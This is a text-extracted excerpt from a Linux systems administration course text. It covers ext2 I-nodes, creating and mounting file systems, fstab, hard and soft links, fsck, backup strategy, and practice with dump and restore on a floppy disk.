Figure 10.2 is a graphical representation on an I-Node.

Figure 10.2
I-Node Structure

Typically an I-Node will contain:

 The owner (UID) and group owner (GID) of the file.
 The type of file - is the file a directory or another type of special file?
 User access permissions - which users can do what with the file
 The number of hard links to the file - the same physical file may be accessed under
several names; we will examine how later.
 The size of the file

David Jones, Bruce Jamieson (2/20/25) Page 279

85321, Systems Administration Chapter 10: Managing File Systems

 The time the file was last modified

 The time the I-Node was last changed - if permissions or information on the file
change then the I-Node is changed.
 The addresses of 13 data blocks - data blocks are where the contents of the file are
placed.
 A single indirect pointer - this points to a special type of block called a single
indirect block. This is a block that contains the addresses of at least 256 other data
blocks; the exact number depends of the file system and implementation.
 A double indirect pointer - this points to a special type of block called a double
indirect block. This block points to a number of single indirect blocks.
 A triple indirect pointer - this points to a special type of block called a triple
indirect block. This block points to a number of double indirect blocks.
Using this system, ext2 can cater for a file two gigabytes in size!
However, just because an I-Node can access all those data blocks doesn't mean that
they are automatically allocated to the file when it is created - obviously! As the file
grows, blocks are allocated, starting with the first direct 13 data blocks, then moving
on to the single indirect blocks, then to the double, then to the triple.
Note that the actual name of the file is not stored in the I-Node. This is because the
names of files are stored in directories, which are themselves files.

Physical Structure and Features

ext2 uses a decentralised file system management scheme involving a "block group"
concept. What this means is that the file systems are divided into a series of logical
blocks. Each block contains a copy of critical information about the file systems (the
super block and information about the file system) as well as an I-Node, and data
block allocation tables and blocks. Generally, the information about a file (the I-
Node) will be stored close to the data blocks. The entire system is very robust and
makes file system recovery less difficult.
The ext2 file system also has some special features which make it stand out from
existing file systems including:
 Logical block size - the size of data blocks can be defined when the file system is
created; this is not dependent on physical data block size.
 File system state checks - the file system keeps track of how many times it was
"mounted " (or used) and what state it was left in at the last shutdown.
 The file system reserves 5% of the file system for the root user - this means that if
a user program fills a partition, the partition is still useable by root (for recovery)
because there is reserve space.
A more comprehensive description of the ext2 file system can be found at
http://web.mit.edu/tytso/www/linux/ext2.html .

David Jones, Bruce Jamieson (2/20/25) Page 280

 85321, Systems Administration Chapter 10: Managing File Systems

Creating file systems

mkfs

Before a partition can be mounted (or used), it must first have a file system installed
on it - with ext2, this is the process of creating I-Nodes and data blocks.
This process is the equivalent of formatting the partition (similar to MSDOS's
"format" command). Under Linux, the command to create a file system is called
mkfs.
The command is issued in the following way:
mkfs [-c] [ -t fstype ] filesys [ blocks ]
eg.
mkfs -t ext2 /dev/fd0 # Make a ext2 file system on a disk
where:
 -c forces a check for bad blocks
 -t fstype specifies the file system type
 filesys is either the device file associated with the partition or device OR is the
directory where the file system is mounted (this is used to erase the old file system
and create a new one)
 blocks specifies the number of blocks on the partition to allocate to the file
system
 Be aware that creating a file system on a device with an existing file system will
cause all data on the old file system to be erased.

Scenario Update
Having partitioned our disk, we must now install a file system on each partition.
ext2 is the logical choice. Be aware that this won't always be the case and you
should educate yourself on the various file systems available before making a choice.
Assuming /dev/hdb1 is the 2GB partition and /dev/hdb2 is the 500 MB partition, we
can create ext2 file systems using the commands:

mkfs -t ext2 -c /dev/hdb1

mkfs -t ext2 -c /dev/hdb2
This assumes the default block size and the default number of I-Nodes. If we wanted
to be more specific about the number of I-Nodes and block size, we could specify
them. mkfs actually calls other programs to create the file system - in the ext2 case,
mke2fs. Generally, the defaults are fine - however, if we knew that we were only
storing a few large files on a partition, then we'd reduce the I-Node to data block
ratio. If we knew that we were storing lots of small files on a partition, we'd increase

David Jones, Bruce Jamieson (2/20/25) Page 281

 85321, Systems Administration Chapter 10: Managing File Systems

the I-Node to data block ration and probably decrease the size of the data blocks (there
is no point using 4K data blocks when the file size average is around 1K).

Exercises

10.4 Create an ext2 file system on a floppy disk using the defaults. How much disk space
can you use to store user information on the disk? How many I-nodes are on this disk?
What is the smallest number of I-nodes you can have on a disk? What restriction does this
place on your use of the disk?

Mounting and UN-mounting Partitions and

Devices
Mount

To attach a partition or device to part of the directory hierarchy you must mount its
associated device file.
To do this, you must first have a mount point - this is simply a directory where the
device will be attached. This directory will exist on a previously mounted device (with
the exception of the root directory (/) which is a special case) and will be empty. If the
directory is not empty, then the files in the directory will no longer be visible while the
device to mounted to it, but will reappear after the device has been disconnected (or
unmounted).
To mount a device , you use the mount command:
mount [switches] device_file mount_point
With some devices, mount will detect what type of file system exists on the device,
however it is more usual to use mount in the form of:
mount [switches] -t file_system_type device_file mount_point
Generally, only the root user can use the mount command - mainly due to the fact
that the device files are owned by root. For example, to mount the first partition on
the second hard drive off the /usr directory and assuming it contained the ext2 file
system you'd enter the command:
mount -t ext2 /dev/hdb1 /usr
A common device that is mounted is the floppy drive. A floppy disk generally contains
the msdos file system (but not always) and is mounted with the command:
mount -t msdos /dev/fd0 /mnt
Note that the floppy disk was mounted under the /mnt directory? This is because the
/mnt directory is the usual place to temporally mount devices.

David Jones, Bruce Jamieson (2/20/25) Page 282

 85321, Systems Administration Chapter 10: Managing File Systems

To see what devices you currently have mounted, simply type the command mount.
Typing it on my system reveals:
/dev/hda3 on / type ext2 (rw)
/dev/hda1 on /dos type msdos (rw)
none on /proc type proc (rw)
/dev/cdrom on /cdrom type iso9660 (ro)
/dev/fd0 on /mnt type msdos (rw)
Each line tells me what device file is mounted, where it is mounted, what file system
type each partition is and how it is mounted (ro = read only, rw = read/write). Note the
strange entry on line three - the proc file system? This is a special "virtual" file
system used by Linux systems to store information about the kernel, processes and
current resource usages. It is actually part of the system's memory - in other words, the
kernel sets aside an area of memory which it stores information about the system in -
this same area is mounted onto the file system so user programs can easily gain this
information.
To release a device and disconnect it from the file system, the umount command is
used. It is issued in the form:
umount device_file
or
umount mount_point
For example, to release the floppy disk, you'd issue the command:
umount /mnt
or
umount /dev/fd0
Again, you must be the root user or a user with privileges to do this. You can't
unmount a device/mount point that is in use by a user (the user's current working
directory is within the mount point) or is in use by a process. Nor can you unmount
devices/mount points which in turn have devices mounted to them.
All of this begs the question - how does the system know which devices to mount
when the OS boots?

Mounting with the /etc/fstab file

In true UNIX fashion, there is a file which governs the behaviour of mounting devices
at boot time. In Linux, this file is /etc/fstab. But there is a problem - if the fstab
file lives in the /etc directory (a directory that will always be on the root partition
(/)), how does the kernel get to the file without first mounting the root partition (to
mount the root partition, you need to read the information in the /etc/fstab file!)?
The answer to this involves understanding the kernel (a later chapter) - but in short,
the system cheats! The kernel is "told" (how it is told doesn't concern us yet) on which
partition to find the root file system; the kernel mounts this in read only mode,
assuming the Linux native ext2 file system, then reads the fstab file and re-mounts
the root partition (and others) according to instructions in the file.

David Jones, Bruce Jamieson (2/20/25) Page 283

 85321, Systems Administration Chapter 10: Managing File Systems

So what is in the file?

An example line from the fstab file uses the following format:
device_file mount_point file_system_type mount_options [n] [n]
The first three fields are self explanatory; the fourth field, mount_options defines how
the device will be mounted (this includes information of access mode ro/rw, execute
permissions and other information) - information on this can be found in the mount
man pages (note that this field usually contains the word "defaults"). The fifth and
sixth fields will usually either not be included or be "1" - these two fields are used by
the system utilities dump and fsck respectively - see the man pages for details.
As an example, the following is my /etc/fstab file:
/dev/hda3/ext2 defaults 1 1
/dev/hda1/dos msdos defaults 1 1
/dev/hda2 swap swap
none /proc proc defaults 1 1
As you can see, most of my file system exists on a single partition (this is very bad!)
with my DOS partition mounted on the /dos directory (so I can easily transfer files on
and off my DOS system). The third line is one which we have not discussed yet - swap
partitions. The swap partition is the place where the Linux kernel keeps pages
swapped out of virtual memory. Most Linux systems should access a swap partition -
you should create a swap partition with a program such as fdisk before the Linux OS
is installed. In this case, the entry in the /etc/fstab file tells the system that
/dev/hda2 contains the swap partition - the system recognises that there is no device
nor any mount point called "swap", but keeps this information within the kernel (this
also applies to the fourth line pertaining to the proc file system).
However, do you notice anything missing? What about the CDROM? On my system
the CDROM is actually mounted by a script called /etc/rc.d/rc.cdrom - this script
is error tolerant and won't cause problems if I don't actually have a CD in the drive at
the time.

Scenario Update
The time has come for us to use our partitions. The following procedure should be
followed:
Mount each partition (one at a time) off /mnt Eg.

mount -t ext2 -o defaults /dev/hdb1 /mnt

Copy the files from the directory that is going to reside on the partition TO the
partition Eg.

cp - a /home /mnt
Modify the /etc/fstab file to mount the partition off the correct directory Eg.

David Jones, Bruce Jamieson (2/20/25) Page 284

 85321, Systems Administration Chapter 10: Managing File Systems

/dev/hdb1 /home ext2 defaults 1 1

Test your changes by rebooting and using the partition
Unmount the partition and remove the old files (or back them up).

umount /home
rm -r /home
mount -t ext2 -o defaults /dev/hdb1 /home
The new hard disk should be now installed and configured correctly!

Exercises

10.5 Mount a floppy disk under the /mnt directory.

10.6 Carefully examine your /etc/fstab file - work out what each entry means.
10.7 Change to the /mnt directory (while the disk is mounted) - now try to unmount the
disk - does this work? Why/Why not?

File Operations
Creating a file

When a file is created, the following process is performed:

 An I-Node is allocated to the file.
 An entry is added to the current directory - remember, the directory is a file itself.
This entry contains the name of the file and a pointer to I-Node used by the file.
The link count on the file's I-Node is set to 1 (any I-Node with a link count of 0 is
not in use).
 Any blocks required to store the file contents are allocated.
Linking files

As we have previously encountered, there are occasions when you will want to access
a file from several locations or by several names. The process of doing this is called
linking.
There are two methods of doing this - Hard Linking and Soft Linking.
Hard Links are generated by the following process:
 An entry is added to the current directory with the name of the link together with a
pointer to the I-Node used by the original file.
 The I-Node of the original file is updated and the number of files linked to it is
incremented.
Soft Links are generated by the following process:
 An I-Node is allocated to the soft link file - the type of file is set to soft-link.

David Jones, Bruce Jamieson (2/20/25) Page 285

 85321, Systems Administration Chapter 10: Managing File Systems

 An entry is added to the current directory with the name of the link together with a
pointer to the allocated I-Node.
 A data block is allocated for the link in which is placed the name of the original
file.
Programs accessing a soft link cause the file system to examine the location of the
original (linked-to) file and then carry out operations on that file. The following
should be noted about links:
 Hard links may only be performed between files on the same physical partition -
the reason for this is that I-Nodes pointers can only point to I-Nodes of the same
partition
 Any operation performed on the data in link is performed on the original file.
 Any chmod operations performed on a hard link are reflected on both the hard
link file and the file it is linked to. chmod operations on soft links are reflected on
the original file but not on the soft link - the soft link will always have full file
permissions (lrwxrwxrwx) .
So how do you perform these mysterious links?
ln

The command for both hard and soft link files is ln. It is executed in the following
way:
ln source_file link_file_name # Hard Links
or
ln -s source_file link_file_name# Soft Links
For example, look at the following operations on links:
Create the file and check the ls listing:
psyche:~$ touch base
psyche:~$ ls -al base
-rw-r--r-- 1 jamiesob users 0 Apr 5 17:09 base
Create a soft link and check the ls listing of it and the original file
psyche:~$ ln -s base softbase
psyche:~$ ls -al softbase
lrwxrwxrwx 1 jamiesob users 4 Apr 5 17:09 softbase -> base
psyche:~$ ls -al base
-rw-r--r-- 1 jamiesob users 0 Apr 5 17:09 base
Create a hard link and check the ls listing of it, the soft link and the original file
psyche:~$ ln base hardbase
psyche:~$ ls -al hardbase
-rw-r--r-- 2 jamiesob users 0 Apr 5 17:09 hardbase
psyche:~$ ls -al base
-rw-r--r-- 2 jamiesob users 0 Apr 5 17:09 base
psyche:~$ ls -il base
132307 -rw-r--r-- 2 jamiesob users 0 Apr 5 17:09 base

David Jones, Bruce Jamieson (2/20/25) Page 286

 85321, Systems Administration Chapter 10: Managing File Systems

psyche:~$ ls -il softbase

132308 lrwxrwxrwx 1 jamiesob users 4 Apr 5 17:09 softbase ->base
psyche:~$ ls -il hardbase
132307 -rw-r--r-- 2 jamiesob users 0 Apr 5 17:09 hardbase
Note the last three operations (checking the I-Node number) - see how the hard link
shares the I-Node of the original file? Links are removed by simply deleting the link
with the rm (or on non-Linux systems unlink) command. Note that deleting a file
that has soft links is different to deleting a file with hard links - deleting a soft-linked
file causes the I-Node (thus data blocks) to be deallocated - no provision is made for
the soft link which is now "pointing" to a file that doesn't exist.
However, a file with hard links to it has its entry removed from the directory, but
neither its I-Node nor data blocks are deallocated - the link count on the I-Node is
simply decremented. The I-Node and data blocks will only be deallocated when there
are no other files hard linked to it.

Exercises

10.8 Locate all files on the system that are soft links (Hint: use find).

Checking the file system

Why Me?

It is a sad truism that anything that can go wrong will go wrong - especially if you
don't have backups! In any event, file system "crashes" or problems are an inevitable
fact of life for a System Administrator.
Crashes of a non-physical nature (i.e. the file system becomes corrupted) are non-fatal
events - there are things a system administrator can do before issuing the last rites and
restoring from one of their copious backups :)
You will be informed of the fact that a file system is corrupted by a harmless, but
feared little messages at boot time, something like:
Can't mount /dev/hda1
If you are lucky, the system will ignore the file system problems and try to mount the
corrupted partition READ ONLY.
It is at this point that most people enter a hyperactive frenzy of swearing, violent
screaming tantrums and self-destructive cranial impact diversions (head butting the
wall).

What to do

David Jones, Bruce Jamieson (2/20/25) Page 287

 85321, Systems Administration Chapter 10: Managing File Systems

It is important to establish that the problem is logical, not physical. There is little you
can do if a disk head has crashed (on the therapeutic side, taking the offending hard
disk into the car park and beating it with a stick can produce favourable results). A
logical crash is something that is caused by the file system becoming confused. Things
like:
 Many files using the one data block.
 Blocks marked as free but being used and vice versa.
 Incorrect link counts on I-Nodes.
 Differences in the "size of file" field in the I-Node and the number of data blocks
actually used.
 Illegal blocks within files.
 I-Nodes contain information but are not in any directory entry (these type of files,
when recovered, are placed in the lost+found directory).
 Directory entries that point to illegal or unallocated I-Nodes.
are the product of file system confusion. These problems will be detected and
(usually) fixed by a program called fsck.
fsck

fsck is actually run at boot time on most Linux systems. Every x number of boots,
fsck will do a comprehensive file system check. In most cases, these boot time runs
of fsck automatically fix problems - though occasionally you may be prompted to
confirm some fsck action. If however, fsck reports some drastic problem at boot
time, you will usually be thrown in to the root account and issued a message like:
**************************************
fsck returned error code - REBOOT NOW!
**************************************
It is probably a good idea to manually run fsck on the offending device at this point
(we will get onto how in a minute).
At worst, you will get a message saying that the system can't mount the file system at
all and you have to reboot. It is at this point you should drag out your rescue disks
(which of course contain a copy of fsck) and reboot using them. The reason for
booting from an alternate source (with its own file system) is because it is quite
possible that the location of the fsck program (/sbin) has become corrupted as has
the fsck binary itself! It is also a good idea to run fsck only on unmounted file
systems.

Using fsck

fsck is run by issuing the command:

fsck file_system
where file_system is a device or directory from which a device is mounted.

David Jones, Bruce Jamieson (2/20/25) Page 288

 85321, Systems Administration Chapter 10: Managing File Systems

fsck will do a check on all I-Nodes, blocks and directory entries. If it encounters a
problem to be fixed, it will prompt you with a message. If the message asks if fsck
can SALVAGE, FIX, CONTINUE, RECONNECT or ADJUST, then it is usually safe
to let it. Requests involving REMOVE and CLEAR should be treated with more
caution.

What caused the problem?

Problems with the file system are caused by:

 People turning off the power on a machine without going through the shutdown
process - this is because Linux uses a very smart READ and WRITE disk cache -
this cache is only flushed (or written to disk) periodically and on shutdown. fsck
will usually fix these problems at the next boot.
 Program crashes - problems usually occur when a program is using several files
and suddenly crashes without closing them. fsck usually easily fixes these
problems.
 Kernel and system crashes - the kernel may become unstable (especially if you are
using new, experimental kernels) and crash the system. Depending on the
circumstances, the file system will usually be recoverable.

Exercises

10.9 Mount the disk created in an earlier exercise. Copy the contents of your home
directory to the disk. Now copy the kernel to it (/vmlinuz) but during the copy eject the
disk. Now run fsck on that disk.

Conclusion
Having read and absorbed this chapter you will be aware that:
 Linux supports many file systems and that
 the process of using many file systems, partitions and devices acting in concert to
produce a directory structure allows for greater flexibility, performance and system
integrity.

Review questions

10.1

As a System Administrator, you have been asked to set up a new system. The system
will contain two hard disks, each 2.5 Gb in size. What issues must you consider when
installing these disks? What questions should you be asking about the usage of the
disks?

David Jones, Bruce Jamieson (2/20/25) Page 289

85321, Systems Administration Chapter 10: Managing File Systems

10.2

You have noticed that at boot time, not all the normal messages are appearing on the
screen. You have also discovered that X-Windows won't run. Suggest possible reasons
for this and the solutions to the problems.

10.3

A new hard disk has been added to your system to store the print spool in. List all the
steps in adding this hard disk to the system.

David Jones, Bruce Jamieson (2/20/25) Page 290

85321, Systems Administration Chapter 10: Managing File Systems

10.4

You have just dropped your Linux box while it was running (power was lost during
the system's short flight) - the system boots but will not mount the hard disk. Discuss
possible reasons for the problem and the solutions.

10.5

What are links used for? What are the differences between hard and soft links?

David Jones, Bruce Jamieson (2/20/25) Page 291

 85321, Systems Administration Chapter 11: Backups

Chapter 11
Backups
Like most of those who study history, he (Napoleon III) learned from the mistakes
of the past how to make new ones.
A.J.P. Taylor.

Introduction
This is THE MOST IMPORTANT responsibility of the System Administrator.
Backups MUST be made of all the data on the system. It is inevitable that equipment
will fail and that users will "accidentally" delete files. There should be a safety net so
that important information can be recovered.

It isn't just users who accidentally delete files

A friend of mine who was once the administrator of a UNIX machine (and shall
remain nameless, but is now a respected Academic at CQU) committed one of the
great no-no's of UNIX Administration.
Early on in his career he was carefully removing numerous old files for some obscure
reason when he entered commands resembling the following (he was logged in as
root when doing this).

cd / usr/user/panea notice the mistake

rm -r *
The first command contained a typing mistake (the extra space) that meant that instead
of being in the directory /usr/user/panea he was now in the / directory. The
second command says delete everything in the current directory and any directories
below it. Result: a great many files removed.
The moral of this story is that everyone makes mistakes. Root users, normal users,
hardware and software all make mistakes, break down or have faults. This means
you must keep backups of any system.

Characteristics of a good backup strategy

Backup strategies change from site to site. What works on one machine may not be
possible on another. There is no standard backup strategy. There are however a
number of characteristics that need to be considered including
 ease of use,

David Jones and Bruce Jamieson (2/20/25) Page 292

85321, Systems Administration Chapter 11: Backups

 time efficiency,
 ease of restoring files,
 ability to verify backups,
 tolerance of faulty media, and
 portabilty to a range of machines.

Ease of use
If backups are easy to use, you will use them. AUTOMATE!! It should be as easy as
placing a tape in a drive, typing a command and waiting for it to complete. In fact
you probably shouldn't have to enter the command, it should be automatically run.
When backups are too much work
At many large computing sites operators are employed to perform
low-level tasks like looking after backups. Looking after backups
generally involves obtaining a blank tape, labelling it, placing it in the
tape drive and then storing it away.
A true story that is told by an experienced Systems Administrator is
about an operator that thought backups took too long to perform. To
solve this problem the operator decided backups finished much
quicker if you didn't bother putting the tape in the tape drive. You
just labelled the blank tape and placed it in storage.
Quite alright as long as you don't want to retrieve anything from the
backups.

Time efficiency
Obtain a balance to minimise the amount of operator, real and CPU time taken to carry
out the backup and to restore files. The typical tradeoff is that a quick backup implies
a longer time to restore files. Keep in mind that you will in general perform more
backups than restores.
On some large sites, particular backup strategies fail because there aren’t enough
hours in a day. Backups scheduled to occur every 24 hours fail because the previous
backup still hasn't finished. This obviously occurs at sites which have large disks.

Ease of restoring files

The reason for doing backups is so you can get information back. You will have to be
able to restore information ranging from a single file to an entire file system. You
need to know on which media the required file is and you need to be able to get to it
quickly.

David Jones and Bruce Jamieson (2/20/25) Page 293

85321, Systems Administration Chapter 11: Backups

This means that you will need to maintain a table of contents and label media
carefully.

David Jones and Bruce Jamieson (2/20/25) Page 294

85321, Systems Administration Chapter 11: Backups

Ability to verify backups

YOU MUST VERIFY YOUR BACKUPS. The safest method is once the backup is
complete, read the information back from the media and compare it with the
information stored on the disk. If it isn’t the same then the backup is not correct.
Well that is a nice theory but it rarely works in practice. This method is only valid if
the information on the disk hasn't changed since the backup started. This means the
file system cannot be used by users while a backup is being performed or during the
verification. Keeping a file system unused for this amount of time is not often an
option.
Other quicker methods include
 restoring a random selection of files from the start, middle and end of the backup,
If these particular files are retrieved correctly the assumption is that all of the files
are valid.
 create a table of contents during the backup; afterwards read the contents of the
tape and compare the two.
These methods also do not always work. Under some conditions and with some
commands the two methods will not guarantee that your backup is correct.

Tolerance of faulty media

A backup strategy should be able to handle
 faults in the media, and
 physical dangers.
There are situations where it is important that
 there exist at least two copies of full backups of a system, and
 that at least one set should be stored at another site.
Consider the following situation.
A site has one set of full backups stored on tapes. They are currently performing
another full backup of the system onto the same tapes. What happens when the
backup system is happily churning away when it gets about halfway and crashes (the
power goes off, the tape drive fails etc). This could result in the both the tape and the
disk drive being corrupted. Always maintain duplicate copies of full backups.
An example of the importance of storing backups off site was the Pauls ice-cream
factory in Brisbane. The factory is located right on the riverbank and during the early
1970's Brisbane suffered problems caused by a major flood. The Pauls’ computer
room was in the basement of their factory and was completely washed out. All the
backups were kept in the computer room.

David Jones and Bruce Jamieson (2/20/25) Page 295

85321, Systems Administration Chapter 11: Backups

Portabilty to a range of platforms

There may be situations where the data stored on backups must be retrieved onto a
different type of machine. The ability for backups to be portable to different types of
machine is often an important characteristic.

For example:
The computer currently being used by a company is the last in its line. The
manufacturer is bankrupt and no one else uses the machine. Due to unforeseen
circumstances the machine burns to the ground. The Systems Administrator has
recent backups available and they contain essential data for this business. How are
the backups to be used to reconstruct the system?

Considerations for a backup strategy

Apart from the above characteristics, factors that may affect the type of backup
strategy implemented will include
 the available commands
The characteristics of the available commands limit what can be done.
 available hardware
The capacity of the backup media to be used also limits how backups are
performed. In particular how much information can the media hold?
 maximum expected size of file systems
The amount of information required to be backed up and whether or not the
combination of the available software and hardware can handle it. A suggestion is
that individual file systems should never contain more information than can fit
easily onto the backup media.
 importance of the data
The more important the data is, the more important that it be backed up regularly
and safely.
 level of data modification
The more data being created and modified, the more often it should be backed up.
For example the directories /bin and /usr/bin will hardly ever change so they
rarely need backing up. On the other hand directories under /home are likely to
change drastically every day.

The components of backups

There are basically three components to a backup strategy. The
 scheduler
Decides when the backup is performed.

David Jones and Bruce Jamieson (2/20/25) Page 296

85321, Systems Administration Chapter 11: Backups

 transport, and
The command that moves the backup from the disks to the backup media.
 media
The actual physical device on which the backup is stored.

Scheduler
The scheduler is the component that decides when backups should be performed and
how much should be backed up. The scheduler could be the root user or a program,
usually cron (discussed in a later chapter).
The amount of information that the scheduler backs up can have the following
categories
 full backups,
All the information on the entire system is backed up. This is the safest type but
also the most expensive in machine and operator time and the amount of media
required.
 partial backups, or
Only the busier and more important file systems are backed up. One example of a
partial backup might include configuration files (like /etc/passwd), user home
directories and the mail and news spool directories. The reasoning is that these
files change the most and are the most important to keep a track of. In most
instances this can still take substantial resources to perform.
 incremental backups.
Only those files that have been modified since the last backup are backed up.
This method requires less resources but a large amount of incremental backups
make it more difficult to locate the version of a particular file you may desire.

Transport
The transport is a program that is responsible for placing the backed-up data onto the
media. There are quite a number of different programs that can be used as transports.
Some of the standard UNIX transport programs are examined later in this chapter.
There are two basic mechanisms that are used by transport programs to obtain the
information from the disk
 image, and
 through the file system.

Image transports
An image transport program bypasses the file system and reads the information
straight off the disk using the raw device file. To do, this the transport program needs
to understand how the information is structured on the disk. This means that

David Jones and Bruce Jamieson (2/20/25) Page 297

85321, Systems Administration Chapter 11: Backups

transport programs are linked very closely to exact file systems since different file
systems structure information differently.
Once read off the disk, the data is written byte by byte from disk onto tape. This
method generally means that backups are usually quicker than the "file by file"
method. However restoration of individual files generally takes much more time.
Transport programs that use the method include dd, volcopy and dump.

File by file
Commands performing backups using this method use the system calls provided by
the operating system to read the information. Since almost any UNIX system uses
the same system calls, a transport program that uses the file by file method (and the
data it saves) is more portable.
File by file backups generally take more time but it is generally easier to restore
individual files. Commands that use this method include tar and cpio.

Media
Backups are usually made to tape based media. There are different types of tape.
Tape media can differ in
 physical size and shape, and
 amount of information that can be stored.
From 100Mb up to 8Gb.
Different types of media can also be more reliable and efficient. The most common
type of backup media used today are 4 millimetre DAT tapes.

Reading

Under the Resource Materials section for Week 6 on the 85321 Web site/CD-
ROM you will find a pointer to the USAIL resources on backups. This includes a
pointer to discussion about the different type of media which are available.

Commands
As with most things, the different versions of UNIX provide a plethora of commands
that could possibly act as the transport in a backup system. The following table
provides a summary of the characteristics of the more common programs that are used
for this purpose.
Command Availability Characteristics

David Jones and Bruce Jamieson (2/20/25) Page 298

85321, Systems Administration Chapter 11: Backups

dump/restore BSD systems image backup, allows multiple volumes,

not included on most AT&T systems
tar almost all file by file, most versions do not support
systems multiple volumes, intolerant of errors
cpio AT&T systems file by file, can support multiple volumes
some versions don't,
Ta b l e 11 . 1 .
The Different Backup Commands.

There are a number of other public domain and commercial backup utilities available
which are not listed here.

David Jones and Bruce Jamieson (2/20/25) Page 299

85321, Systems Administration Chapter 11: Backups

dump and restore

A favourite amongst many Systems Administrators, dump is used to perform backups

and restore is used to retrieve information from the backups.
These programs are of BSD UNIX origin and have not made the jump across to SysV
systems. Most SysV systems do not come with dump and restore. The main
reason is that since dump and restore bypass the file system, they must know how
the particular file system is structured. So you simply can't recompile a version of
dump from one machine onto another (unless they use the same file system structure).
Many recent versions of systems based on SVR4 (the latest version of System V
UNIX) come with versions of dump and restore.

dump on Linux

There is a version of dump for Linux. However, it may be possible that you do not
have it installed on your system. RedHat 5.0 includes an RPM package which
includes dump. If your system doesn't have dump and restore installed you
should install it now. RedHat provides a couple of tools to installe these packages:
rpm and glint. glint is the GUI tool for managing packages. Refer to the
RedHat documentation for more details on using these tools.
You will find the dump package under the Utilities/System folder. Before you can
install the dump package you will have to install the rmt package.

dump

The command line format for dump is

dump [ options [ arguments ] ] file system
dump [ options [ arguments ] ] filename
Arguments must appear after all options and must appear in a set order.
dump is generally used to backup an entire partition (file system). If given a list of
filenames, dump will backup the individual files.
dump works on the concept of levels (it uses 9 levels). A dump level of 0 means that
all files will be backed up. A dump level of 1...9 means that all files that have
changed since the last dump of a lower level will be backed up. Table 11.2 shows the
arguments for dump.

David Jones and Bruce Jamieson (2/20/25) Page 300

 85321, Systems Administration Chapter 11: Backups

Options Purpose
0-9 dump level
a archive-file archive-file will be a table of contents of the
archive.
f dump-file specify the file (usually a device file) to write the
dump to, a – specifies standard output
u update the dump record (/etc/dumpdates)
v after writing each volume, rewind the tape and
verify. The file system must not be used during
dump or the verification.
Ta b l e 11 . 2 .
Arguments for dump

There are other options. Refer to the man page for the system for more information.
For example:

dump 0dsbfu 54000 6000 126 /dev/rst2 /usr

full backup of /usr file system on a 2.3 Gig 8mm tape connected to device rst2
The numbers here are special information about the tape drive the backup is being
written on.

The restore command

The purpose of the restore command is to extract files archived using the dump
command. restore provides the ability to extract single individual files,
directories and their contents and even an entire file system.

restore -irRtx [ modifiers ] [ filenames ]

The restore command has an interactive mode where commands like ls etc can be
used to search through the backup.
Arguments Purpose
i interactive, directory information is read from the tape after
which you can browse through the directory hierarchy and
select files to be extracted.
r restore the entire tape. Should only be used to restore an entire
file system or to restore an incremental tape after a full level 0
restore.
t table of contents, if no filename provided, root directory is
listed including all subdirectories (unless the h modifier is in
effect)
x extract named files. If a directory is specified, it and all its
sub-directories are extracted.
Ta b l e 11 . 3 .
Arguments for the restore Command.

David Jones and Bruce Jamieson (2/20/25) Page 301

 85321, Systems Administration Chapter 11: Backups

Modifiers Purpose
a archive-file use an archive file to search for a file's
location. Convert contents of the dump
tape to the new file system format
d turn on debugging
h prevent hierarchical restoration of sub-
directories
v verbose mode
f dump-file specify dump-file to use, - refers to
standard input
s n skip to the nth dump file on the tape
Ta b l e 11 . 4 .
Argument modifiers for the restore Command.

Using dump and restore without a tape

Not many of you will have tape drives or similar backup media connected to your
Linux machine. However, it is important that you experiment with the dump and
restore commands to gain an understanding of how they work. This section offers
a little kludge which will allow you to use these commands without a tape drive. The
method relies on the fact that UNIX accesses devices through files.

Our practice file system

For all our experimentation with the commands in this chapter we are going to work
with a practice file system. Practising backups with hard-drive partitions is not going
to be all that efficient as they will almost certainly be very large. Instead we are
going to work with a floppy drive.
The first step then is to format a floppy with the ext2 file system. By now you
should know how to do this. Here's what I did to format a floppy and put some
material on it.

[root@beldin]# /sbin/mke2fs /dev/fd0

mke2fs 1.10, 24-Apr-97 for EXT2 FS 0.5b, 95/08/09
Linux ext2 filesystem format
Filesystem label=
360 inodes, 1440 blocks
72 blocks (5.00%) reserved for the super user
First data block=1
Block size=1024 (log=0)
Fragment size=1024 (log=0)
1 block group
8192 blocks per group, 8192 fragments per group

David Jones and Bruce Jamieson (2/20/25) Page 302

 85321, Systems Administration Chapter 11: Backups

360 inodes per group

Writing inode tables: done

Writing superblocks and filesystem accounting information: done
[root@beldin]# mount -t ext2 /dev/fd0 /mnt/floppy
[root@beldin]# cp /etc/passwd /etc/issue /etc/group /var/log/messages /mnt/floppy
[root@beldin dump-0.3]#

Doing a level 0 dump

So I've copied some important stuff to this disk. Let's assume I want to do a level 0
dump of the /mnt/floppy file system. How do I do it?

[root@beldin]# /sbin/dump 0f /tmp/backup /mnt/floppy

DUMP: Date of this level 0 dump: Sun Jan 25 15:05:11 1998
DUMP: Date of last level 0 dump: the epoch
DUMP: Dumping /dev/fd0 (/mnt/floppy) to /tmp/backup
DUMP: mapping (Pass I) [regular files]
DUMP: mapping (Pass II) [directories]
DUMP: estimated 42 tape blocks on 0.00 tape(s).
DUMP: dumping (Pass III) [directories]
DUMP: dumping (Pass IV) [regular files]
DUMP: DUMP: 29 tape blocks on 1 volumes(s)
DUMP: Closing /tmp/backup
DUMP: DUMP IS DONE
The arguments to the dump command are
 0
This tells dump I wish to perform a level 0 dump of the file system.
 f
This is telling dump that I will tell it the name of the file that it should write the
backup to.
 /tmp/backup
This is the name of the file I want the backup to go to. Normally, this would be
the device file for a tape drive or other backup device. However, since I don't
have one I'm telling it a normal file.
 /mnt/floppy
This is the file system I want to backup.
What this means is that I have now created a file, /tmp/backup, which contains a
level 0 dump of the floppy.

[root@beldin]# ls -l /tmp/backup
-rw-rw-r-- 1 root tty 20480 Jan 25 15:05 /tmp/backup

Restoring the backup

Now that we have a dump archive to work with, we can try using the restore
command to retrieve files.

David Jones and Bruce Jamieson (2/20/25) Page 303

 85321, Systems Administration Chapter 11: Backups

[root@beldin dump-0.3]# /sbin/restore -if /tmp/backup

restore > ?
Available commands are:
ls [arg] - list directory
cd arg - change directory
pwd - print current directory
add [arg] - add `arg' to list of files to be extracted
delete [arg] - delete `arg' from list of files to be extracted
extract - extract requested files
setmodes - set modes of requested directories
quit - immediately exit program
what - list dump header information
verbose - toggle verbose flag (useful with ``ls'')
help or `?' - print this list
If no `arg' is supplied, the current directory is used
restore > ls
.:
group issue lost+found/ messages passwd

restore > add passwd

restore > extract
You have not read any tapes yet.
Unless you know which volume your file(s) are on you should start
with the last volume and work towards towards the first.
Specify next volume #: 1
